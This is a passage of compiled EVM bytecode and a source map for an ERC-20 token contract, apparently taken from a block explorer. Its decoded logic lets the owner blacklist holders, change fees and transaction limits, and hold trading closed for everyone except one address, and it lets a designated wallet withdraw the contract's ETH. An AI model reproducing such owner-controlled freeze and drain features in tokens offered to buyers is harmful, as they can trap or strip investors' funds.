00080fd5b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610669573d6000803e3d6000fd5b5050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156106f15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016105e8565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461072c918691610727908690611975565b610bbd565b610737848484610ce1565b5060019392505050565b6000546001600160a01b031633146107895760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600692909255600755600855565b6000546001600160a01b031633146107df5760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600355565b6000546001600160a01b0316331461082c5760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108965760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600a54600160a81b900460ff16156108f05760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e000000000060448201526064016105e8565b600a80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16600160a81b179055565b6000546001600160a01b031633146109685760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109fa5760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600061059a338484610ce1565b6000546001600160a01b03163314610a715760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b50506001600160a01b037f0000000000000000000000005befa3fcf9ffdc8a674142a717d657d1261caa67166000908152600d60205260409020805460ff19169055565b6000546001600160a01b03163314610afd5760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b60005b82811015610b6e5781600d6000868685818110610b1f57610b1f611988565b9050602002016020810190610b3491906116ee565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b668161199e565b915050610b00565b50505050565b6009546001600160a01b03163314610b8b57600080fd5b30600090815260016020526040812054606490610ba8908461195e565b610bb291906119b7565b9050610669816112be565b6001600160a01b038316610c1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e8565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a548390600160a81b900460ff1680610d2c57507f000000000000000000000000892c1dd41bb5d33b6974241b43cbfdf02b41d0696001600160a01b0316816001600160a01b0316145b610d3557600080fd5b6001600160a01b038416610d995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e8565b6001600160a01b038316610dfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e8565b60008211610e715760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201527f726561746572207468616e207a65726f0000000000000000000000000000000060648201526084016105e8565b6001600160a01b0384166000908152600d602052604090205460ff16158015610eb357506001600160a01b0383166000908152600d602052604090205460ff16155b610eff5760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a20626c61636b6c69737465642063616e6e6f742074726164650060448201526064016105e8565b6001600160a01b03841660009081526001602052604081208054849290610f27908490611975565b90915550506001600160a01b0384163014801590610f7757507f000000000000000000000000892c1dd41bb5d33b6974241b43cbfdf02b41d0696001600160a01b0316846001600160a01b031614155b8015610fb557507f000000000000000000000000892c1dd41bb5d33b6974241b43cbfdf02b41d0696001600160a01b0316836001600160a01b031614155b1561116b577f0000000000000000000000005befa3fcf9ffdc8a674142a717d657d1261caa676001600160a01b0316846001600160a01b03160361107a5760035482611016856001600160a01b031660009081526001602052604090205490565b61102091906119d9565b111561107a5760405162461bcd60e51b8152602060048201526024808201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420726573747269636044820152633a34b7b760e11b60648201526084016105e8565b6003548211156110cc5760405162461bcd60e51b815260206004820181905260248201527f546f6b656e3a206d617820747820616d6f756e74207265737472696374696f6e60448201526064016105e8565b30600090815260016020526040902054600a54600160a01b900460ff1615801561112757507f0000000000000000000000005befa3fcf9ffdc8a674142a717d657d1261caa676001600160a01b0316846001600160a01b0316145b801561114b5750611139600a8061194f565b611147906302faf08061195e565b8110155b801561115b575061115b83611484565b1561116957611169816112be565b505b6001600160a01b0384166000908152600e602052604090205460ff161580156111ad57506001600160a01b0383166000908152600e602052604090205460ff16155b1561123c5760006111be858461152a565b9050801561123a576111d08184611975565b306000908152600160205260408120805492955083929091906111f49084906119d9565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b038316600090815260016020526040812080548492906112649084906119d9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112b091815260200190565b60405180910390a350505050565b600a805460ff60a01b1916600160a01b1790556112da8161158e565b6000600c819055308152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205490915081111561134a5761134a30737a250d5630b4cf539739df2c5dacb4c659f2488d61133b600a8061194f565b610727906402540be40061195e565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061138357611383611988565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106113cb576113cb611988565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906114239086906000908690309042906004016119ec565b600060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b5050505081476114619190611975565b915081156114725761147282611600565b5050600a805460ff60a01b1916905550565b60006007546000146114bb5760075461149e600a8061194f565b6114ac906302faf08061195e565b6114b691906119b7565b6114be565b60005b82101580156114d75750600a546001600160a01b031615155b80156114f85750600854600c600081546114f09061199e565b918290555010155b801561059e5750436000908152600b60205260408120805460029290919061151f8361199e565b919050551092915050565b600060647f0000000000000000000000005befa3fcf9ffdc8a674142a717d657d1261caa676001600160a01b0316846001600160a01b03161461156f57600554611573565b6004545b61157d908461195e565b61158791906119b7565b9392505050565b600061159b600a8061194f565b6115a9906302faf08061195e565b6006546115b6919061195e565b82116115da576115c7600a8061194f565b6115d5906302faf08061195e565b61059e565b6115e5600a8061194f565b6115f3906302faf08061195e565b60065461059e919061195e565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610669573d6000803e3d6000fd5b600060208083528351808285015260005b818110156116675785810183015185820160400152820161164b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461169d57600080fd5b50565b600080604083850312156116b357600080fd5b82356116be81611688565b946020939093013593505050565b600080604083850312156116df57600080fd5b50508035926020909101359150565b60006020828403121561170057600080fd5b813561158781611688565b60008060006060848603121561172057600080fd5b833561172b81611688565b9250602084013561173b81611688565b929592945050506040919091013590565b60008060006060848603121561176157600080fd5b505081359360208301359350604090920135919050565b60006020828403121561178a57600080fd5b5035919050565b6000806000604084860312156117a657600080fd5b833567ffffffffffffffff808211156117be57600080fd5b818601915086601f8301126117d257600080fd5b8135818111156117e157600080fd5b8760208260051b85010111156117f657600080fd5b60209283019550935050840135801515811461181157600080fd5b809150509250925092565b6000806040838503121561182f57600080fd5b823561183a81611688565b9150602083013561184a81611688565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118a657816000190482111561188c5761188c611855565b8085161561189957918102915b93841c9390800290611870565b509250929050565b6000826118bd5750600161059e565b816118ca5750600061059e565b81600181146118e057600281146118ea57611906565b600191505061059e565b60ff8411156118fb576118fb611855565b50506001821b61059e565b5060208310610133831016604e8410600b8410161715611929575081810a61059e565b611933838361186b565b806000190482111561194757611947611855565b029392505050565b600061158760ff8416836118ae565b808202811582820484141761059e5761059e611855565b8181038181111561059e5761059e611855565b634e487b7160e01b600052603260045260246000fd5b6000600182016119b0576119b0611855565b5060010190565b6000826119d457634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561059e5761059e611855565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a3c5784516001600160a01b031683529383019391830191600101611a17565b50506001600160a01b0396909616606085015250505060800152939250505056fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220668071e9fdb5215e2f7b3eb10d5df32aac2dcc17f51c15b2071be924732a16aa64736f6c63430008130033
Deployed Bytecode Sourcemap
2027:8760:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4164:83;;;;;;;;;;-1:-1:-1;4234:5:0;;;;;;;;;;;;-1:-1:-1;;;4234:5:0;;;;4164:83;;;;;;;:::i;:::-;;;;;;;;4964:150;;;;;;;;;;-1:-1:-1;4964:150:0;;;;;:::i;:::-;;:::i;:::-;;;1211:14:1;;1204:22;1186:41;;1174:2;1159:18;4964:150:0;1046:187:1;10492:143:0;;;;;;;;;;-1:-1:-1;10492:143:0;;;;;:::i;:::-;;:::i;:::-;;4441:91;;;;;;;;;;;;;:::i;:::-;;;1637:25:1;;;1625:2;1610:18;4441:91:0;1491:177:1;9005:161:0;;;;;;;;;;-1:-1:-1;9005:161:0;;;;;:::i;:::-;;:::i;5122:358::-;;;;;;;;;;-1:-1:-1;5122:358:0;;;;;:::i;:::-;;:::i;4350:83::-;;;;;;;;;;-1:-1:-1;4350:83:0;;2336:2;2528:36:1;;2516:2;2501:18;4350:83:0;2386:184:1;10095:264:0;;;;;;;;;;-1:-1:-1;10095:264:0;;;;;:::i;:::-;;:::i;2584:26::-;;;;;;;;;;;;;;;;2505:70;;;;;;;;;;;;;;;;10367:116;;;;;;;;;;-1:-1:-1;10367:116:0;;;;;:::i;:::-;;:::i;9774:141::-;;;;;;;;;;-1:-1:-1;9774:141:0;;;;;:::i;:::-;;:::i;3127:78::-;;;;;;;;;;-1:-1:-1;3127:78:0;;;;-1:-1:-1;;;;;3127:78:0;;;;;;-1:-1:-1;;;;;3505:55:1;;;3487:74;;3475:2;3460:18;3127:78:0;3341:226:1;10643:141:0;;;;;;;;;;;;;:::i;4540:110::-;;;;;;;;;;-1:-1:-1;4540:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;4624:18:0;4597:7;4624:18;;;:9;:18;;;;;;;4540:110;1872:148;;;;;;;;;;;;;:::i;9625:141::-;;;;;;;;;;-1:-1:-1;9625:141:0;;;;;:::i;:::-;;:::i;1785:79::-;;;;;;;;;;-1:-1:-1;1823:7:0;1850:6;-1:-1:-1;;;;;1850:6:0;1785:79;;4255:87;;;;;;;;;;-1:-1:-1;4327:7:0;;;;;;;;;;;;-1:-1:-1;;;4327:7:0;;;;4255:87;;3282:39;;;;;;;;;;-1:-1:-1;3282:39:0;;;;-1:-1:-1;;;;;3282:39:0;;;4658:156;;;;;;;;;;-1:-1:-1;4658:156:0;;;;;:::i;:::-;;:::i;9927:160::-;;;;;;;;;;-1:-1:-1;9927:160:0;;;;;:::i;:::-;;:::i;3082:36::-;;;;;;;;;;;;;;;9400:217;;;;;;;;;;-1:-1:-1;9400:217:0;;;;;:::i;:::-;;:::i;2617:27::-;;;;;;;;;;;;;;;;4822:134;;;;;;;;;;-1:-1:-1;4822:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;4921:18:0;;;4894:7;4921:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4822:134;9175:217;;;;;;;;;;-1:-1:-1;9175:217:0;;;;;:::i;:::-;;:::i;4964:150::-;5030:4;5047:37;5056:10;5068:7;5077:6;5047:8;:37::i;:::-;-1:-1:-1;5102:4:0;4964:150;;;;;:::o;10492:143::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;;;;;;;;;10578:6:::1;:18:::0;;;;10607:7:::1;:20:::0;10492:143::o;4441:91::-;4485:7;2396:13;2336:2;;2396:13;:::i;:::-;2458:40;;:14;:40;:::i;:::-;4505:19;;4441:91;:::o;9005:161::-;9081:18;;-1:-1:-1;;;;;9081:18:0;9067:10;:32;9059:41;;;;;;9111:47;;-1:-1:-1;;;;;9111:24:0;;;9136:21;9111:47;;;;;;;;;9136:21;9111:24;:47;;;;;;;;;;;;;;;;;;;;;9005:161;:::o;5122:358::-;-1:-1:-1;;;;;5236:19:0;;5211:4;5236:19;;;:11;:19;;;;;;;;5256:10;5236:31;;;;;;;;:41;-1:-1:-1;5236:41:0;5228:94;;;;-1:-1:-1;;;5228:94:0;;7250:2:1;5228:94:0;;;7232:21:1;7289:2;7269:18;;;7262:30;7328:34;7308:18;;;7301:62;-1:-1:-1;;;7379:18:1;;;7372:38;7427:19;;5228:94:0;7048:404:1;5228:94:0;-1:-1:-1;;;;;5362:19:0;;;;;;:11;:19;;;;;;;;5350:10;5362:31;;;;;;;;;5333:70;;5342:6;;5362:40;;5396:6;;5362:40;:::i;:::-;5333:8;:70::i;:::-;5414:36;5424:6;5432:9;5443:6;5414:9;:36::i;:::-;-1:-1:-1;5468:4:0;5122:358;;;;;:::o;10095:264::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;4999:356:1;1534:65:0;10226:15:::1;:38:::0;;;;10275:15:::1;:35:::0;10321:16:::1;:30:::0;10095:264::o;10367:116::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;4999:356:1;1534:65:0;10444:15:::1;:31:::0;10367:116::o;9774:141::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;4999:356:1;1534:65:0;9869:16:::1;:38:::0;;-1:-1:-1;;;;;;9869:38:0::1;-1:-1:-1::0;;;;;9869:38:0;;;::::1;::::0;;;::::1;::::0;;9774:141::o;10643:::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;4999:356:1;1534:65:0;10704:11:::1;::::0;-1:-1:-1;;;10704:11:0;::::1;;;10703:12;10695:52;;;::::0;-1:-1:-1;;;10695:52:0;;7792:2:1;10695:52:0::1;::::0;::::1;7774:21:1::0;7831:2;7811:18;;;7804:30;7870:29;7850:18;;;7843:57;7917:18;;10695:52:0::1;7590:351:1::0;10695:52:0::1;10758:11;:18:::0;;;::::1;-1:-1:-1::0;;;10758:18:0::1;::::0;;10643:141::o;1872:148::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;4999:356:1;1534:65:0;1979:1:::1;1963:6:::0;;1942:40:::1;::::0;-1:-1:-1;;;;;1963:6:0;;::::1;::::0;1942:40:::1;::::0;1979:1;;1942:40:::1;2010:1;1993:19:::0;;-1:-1:-1;;;;;;1993:19:0::1;::::0;;1872:148::o;9625:141::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;4999:356:1;1534:65:0;9716:18:::1;:42:::0;;-1:-1:-1;;;;;;9716:42:0::1;-1:-1:-1::0;;;;;9716:42:0;;;::::1;::::0;;;::::1;::::0;;9625:141::o;4658:156::-;4727:4;4744:40;4754:10;4766:9;4777:6;4744:9;:40::i;9927:160::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;4999:356:1;1534:65:0;-1:-1:-1;;;;;;;10040:11:0::1;10028:24;10055:5;10028:24:::0;;;:11:::1;:24;::::0;;;;:32;;-1:-1:-1;;10028:32:0::1;::::0;;9927:160::o;9400:217::-;1542:6;;-1:-1:-1;;;;;1542:6:0;1552:10;1542:20;1534:65;;;;-1:-1:-1;;;1534:65:0;;5201:2:1;1534:65:0;;;5183:21:1;;;5220:18;;;5213:30;-1:-1:-1;;;;;;;;;;;5259:18:1;;;5252:62;5331:18;;1534:65:0;4999:356:1;1534:65:0;9503:6:::1;9498:112;9515:21:::0;;::::1;9498:112;;;9587:11;9558;:26;9570:10;;9581:1;9570:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9558:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;9558:26:0;:40;;-1:-1:-1;;9558:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9538:3;::::1;::::0;::::1;:::i;:::-;;;;9498:112;;;;9400:217:::0;;;:::o;9175:::-;9258:18;;-1:-1:-1;;;;;9258:18:0;9244:10;:32;9236:41;;;;;;9339:4;9288:20;4624:18;;;:9;:18;;;;;;9348:3;;9311:34;;:7;:34;:::i;:::-;:40;;;;:::i;:::-;9288:63;;9362:22;9371:12;9362:8;:22::i;5488:335::-;-1:-1:-1;;;;;5581:19:0;;5573:68;;;;-1:-1:-1;;;5573:68:0;;8642:2:1;5573:68:0;;;8624:21:1;8681:2;8661:18;;;8654:30;8720:34;8700:18;;;8693:62;-1:-1:-1;;;8771:18:1;;;8764:34;8815:19;;5573:68:0;8440:400:1;5573:68:0;-1:-1:-1;;;;;5660:21:0;;5652:68;;;;-1:-1:-1;;;5652:68:0;;9047:2:1;5652:68:0;;;9029:21:1;9086:2;9066:18;;;9059:30;9125:34;9105:18;;;9098:62;-1:-1:-1;;;9176:18:1;;;9169:32;9218:19;;5652:68:0;8845:398:1;5652:68:0;-1:-1:-1;;;;;5731:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5783:32;;1637:25:1;;;5783:32:0;;1610:18:1;5783:32:0;;;;;;;5488:335;;;:::o;5831:1495::-;3713:11;;5901:4;;-1:-1:-1;;;3713:11:0;;;;;:40;;;3738:15;-1:-1:-1;;;;;3728:25:0;:6;-1:-1:-1;;;;;3728:25:0;;3713:40;3705:49;;;;;;-1:-1:-1;;;;;5934:18:0;::::1;5926:68;;;::::0;-1:-1:-1;;;5926:68:0;;9450:2:1;5926:68:0::1;::::0;::::1;9432:21:1::0;9489:2;9469:18;;;9462:30;9528:34;9508:18;;;9501:62;-1:-1:-1;;;9579:18:1;;;9572:35;9624:19;;5926:68:0::1;9248:401:1::0;5926:68:0::1;-1:-1:-1::0;;;;;6013:16:0;::::1;6005:64;;;::::0;-1:-1:-1;;;6005:64:0;;9856:2:1;6005:64:0::1;::::0;::::1;9838:21:1::0;9895:2;9875:18;;;9868:30;9934:34;9914:18;;;9907:62;-1:-1:-1;;;9985:18:1;;;9978:33;10028:19;;6005:64:0::1;9654:399:1::0;6005:64:0::1;6097:1;6088:6;:10;6080:71;;;::::0;-1:-1:-1;;;6080:71:0;;10260:2:1;6080:71:0::1;::::0;::::1;10242:21:1::0;10299:2;10279:18;;;10272:30;10338:34;10318:18;;;10311:62;10409:18;10389;;;10382:46;10445:19;;6080:71:0::1;10058:412:1::0;6080:71:0::1;-1:-1:-1::0;;;;;6171:17:0;::::1;;::::0;;;:11:::1;:17;::::0;;;;;::::1;;6170:18;:38:::0;::::1;;;-1:-1:-1::0;;;;;;6193:15:0;::::1;;::::0;;;:11:::1;:15;::::0;;;;;::::1;;6192:16;6170:38;6162:82;;;::::0;-1:-1:-1;;;6162:82:0;;10677:2:1;6162:82:0::1;::::0;::::1;10659:21:1::0;10716:2;10696:18;;;10689:30;10755:33;10735:18;;;10728:61;10806:18;;6162:82:0::1;10475:355:1::0;6162:82:0::1;-1:-1:-1::0;;;;;6257:15:0;::::1;;::::0;;;:9:::1;:15;::::0;;;;:25;;6276:6;;6257:15;:25:::1;::::0;6276:6;;6257:25:::1;:::i;:::-;::::0;;;-1:-1:-1;;;;;;;6298:21:0;::::1;6314:4;6298:21;::::0;::::1;::::0;:48:::1;;;6331:15;-1:-1:-1::0;;;;;6323:23:0::1;:4;-1:-1:-1::0;;;;;6323:23:0::1;;;6298:48;:73;;;;;6356:15;-1:-1:-1::0;;;;;6350:21:0::1;:2;-1:-1:-1::0;;;;;6350:21:0::1;;;6298:73;6295:581;;;6412:11;-1:-1:-1::0;;;;;6404:19:0::1;:4;-1:-1:-1::0;;;;;6404:19:0::1;::::0;6400:133:::1;;6477:15;;6467:6;6451:13;6461:2;-1:-1:-1::0;;;;;4624:18:0;4597:7;4624:18;;;:9;:18;;;;;;;4540:110;6451:13:::1;:22;;;;:::i;:::-;:41;;6443:90;;;::::0;-1:-1:-1;;;6443:90:0;;11167:2:1;6443:90:0::1;::::0;::::1;11149:21:1::0;11206:2;11186:18;;;11179:30;11245:34;11225:18;;;11218:62;-1:-1:-1;;;11296:18:1;;;11289:34;11340:19;;6443:90:0::1;10965:400:1::0;6443:90:0::1;6566:15;;6556:6;:25;;6548:70;;;::::0;-1:-1:-1;;;6548:70:0;;11572:2:1;6548:70:0::1;::::0;::::1;11554:21:1::0;;;11591:18;;;11584:30;11650:34;11630:18;;;11623:62;11702:18;;6548:70:0::1;11370:356:1::0;6548:70:0::1;6676:4;6633:22;4624:18:::0;;;:9;:18;;;;;;6701:6:::1;::::0;-1:-1:-1;;;6701:6:0;::::1;;;6700:7;:28:::0;::::1;;;;6717:11;-1:-1:-1::0;;;;;6711:17:0::1;:2;-1:-1:-1::0;;;;;6711:17:0::1;;6700:28;:67;;;;-1:-1:-1::0;2396:13:0::1;2336:2;::::0;2396:13:::1;:::i;:::-;2702:36;::::0;:10:::1;:36;:::i;:::-;6732:14;:35;;6700:67;:93;;;;;6771:22;6786:6;6771:14;:22::i;:::-;6697:139;;;6812:24;6821:14;6812:8;:24::i;:::-;6373:503;6295:581;-1:-1:-1::0;;;;;6892:22:0;::::1;;::::0;;;:16:::1;:22;::::0;;;;;::::1;;6891:23;:48:::0;::::1;;;-1:-1:-1::0;;;;;;6919:20:0;::::1;;::::0;;;:16:::1;:20;::::0;;;;;::::1;;6918:21;6891:48;6888:353;;;6968:19;6990:26;7003:4;7009:6;6990:12;:26::i;:::-;6968:48:::0;-1:-1:-1;7034:15:0;;7031:199:::1;;7069:21;7079:11:::0;7069:21;::::1;:::i;:::-;7127:4;7109:24;::::0;;;:9:::1;:24;::::0;;;;:39;;7069:21;;-1:-1:-1;7137:11:0;;7109:24;;;:39:::1;::::0;7137:11;;7109:39:::1;:::i;:::-;::::0;;;-1:-1:-1;;7172:42:0::1;::::0;1637:25:1;;;7195:4:0::1;::::0;-1:-1:-1;;;;;7172:42:0;::::1;::::0;::::1;::::0;1625:2:1;1610:18;7172:42:0::1;;;;;;;7031:199;6941:300;6888:353;-1:-1:-1::0;;;;;7253:13:0;::::1;;::::0;;;:9:::1;:13;::::0;;;;:23;;7270:6;;7253:13;:23:::1;::::0;7270:6;;7253:23:::1;:::i;:::-;;;;;;;;7307:2;-1:-1:-1::0;;;;;7292:26:0::1;7301:4;-1:-1:-1::0;;;;;7292:26:0::1;;7311:6;7292:26;;;;1637:25:1::0;;1625:2;1610:18;;1491:177;7292:26:0::1;;;;;;;;5831:1495:::0;;;;:::o;7805:861::-;3594:6;:13;;-1:-1:-1;;;;3594:13:0;-1:-1:-1;;;3594:13:0;;;7886:32:::1;7906:11:::0;7886:19:::1;:32::i;:::-;7937:1;7929:5;:9:::0;;;7970:4:::1;4921:18:::0;;:11;:18;;;;;;;;2942:42:::1;4921:27:::0;;;;;;;;7872:46;;-1:-1:-1;7872:46:0;-1:-1:-1;7949:155:0::1;;;8031:61;8048:4;2942:42;2396:13;2336:2;::::0;2396:13:::1;:::i;:::-;2458:40;::::0;:14:::1;:40;:::i;8031:61::-;8209:16;::::0;;8223:1:::1;8209:16:::0;;;;;::::1;::::0;;8153:21:::1;::::0;8124:26:::1;::::0;8209:16;8223:1;8209:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8209:16:0::1;8185:40;;8254:4;8236;8241:1;8236:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;8236:23:0::1;;;-1:-1:-1::0;;;;;8236:23:0::1;;;::::0;::::1;3033:42;8270:4;8275:1;8270:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8270:13:0;;::::1;:7;::::0;;::::1;::::0;;;;;;;:13;8294:194:::1;::::0;-1:-1:-1;;;8294:194:0;;2942:42:::1;::::0;8294:64:::1;::::0;:194:::1;::::0;8373:11;;8399:1:::1;::::0;8415:4;;8442::::1;::::0;8462:15:::1;::::0;8294:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8544:18;8520:21;:42;;;;:::i;:::-;8499:63:::0;-1:-1:-1;8576:22:0;;8573:85:::1;;8615:31;8627:18;8615:11;:31::i;:::-;-1:-1:-1::0;;3630:6:0;:14;;-1:-1:-1;;;;3630:14:0;;;-1:-1:-1;7805:861:0:o;7506:291::-;7571:4;7614:15;;7633:1;7614:20;:62;;7661:15;;2396:13;2336:2;;2396:13;:::i;:::-;2702:36;;:10;:36;:::i;:::-;7641:35;;;;:::i;:::-;7614:62;;;7637:1;7614:62;7595:14;:82;;:129;;;;-1:-1:-1;7694:16:0;;-1:-1:-1;;;;;7694:16:0;:30;;7595:129;:160;;;;;7739:16;;7730:5;;7728:7;;;;;:::i;:::-;;;;;-1:-1:-1;7728:27:0;;7595:160;:194;;;;-1:-1:-1;7770:12:0;7759:24;;;;:10;:24;;;;;:26;;7788:1;;7759:26;;:24;:26;;;:::i;:::-;;;;;:30;7588:201;7506:291;-1:-1:-1;;7506:291:0:o;7334:164::-;7408:7;7487:3;7453:11;-1:-1:-1;;;;;7445:19:0;:4;-1:-1:-1;;;;;7445:19:0;;:38;;7476:7;;7445:38;;;7467:6;;7445:38;7435:49;;:6;:49;:::i;:::-;:55;;;;:::i;:::-;7428:62;7334:164;-1:-1:-1;;;7334:164:0:o;8674:218::-;8746:7;2396:13;2336:2;;2396:13;:::i;:::-;2702:36;;:10;:36;:::i;:::-;8788:15;;:35;;;;:::i;:::-;8773:11;:51;:111;;2396:13;2336:2;;2396:13;:::i;:::-;2702:36;;:10;:36;:::i;:::-;8773:111;;;2396:13;2336:2;;2396:13;:::i;:::-;2702:36;;:10;:36;:::i;:::-;8828:15;;:35;;;;:::i;8900:97::-;8956:16;;:33;;-1:-1:-1;;;;;8956:16:0;;;;:33;;;;;8982:6;;8956:16;:33;:16;:33;8982:6;8956:16;:33;;;;;;;;;;;;;;;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:154::-;-1:-1:-1;;;;;646:5:1;642:54;635:5;632:65;622:93;;711:1;708;701:12;622:93;567:154;:::o;726:315::-;794:6;802;855:2;843:9;834:7;830:23;826:32;823:52;;;871:1;868;861:12;823:52;910:9;897:23;929:31;954:5;929:31;:::i;:::-;979:5;1031:2;1016:18;;;;1003:32;;-1:-1:-1;;;726:315:1:o;1238:248::-;1306:6;1314;1367:2;1355:9;1346:7;1342:23;1338:32;1335:52;;;1383:1;1380;1373:12;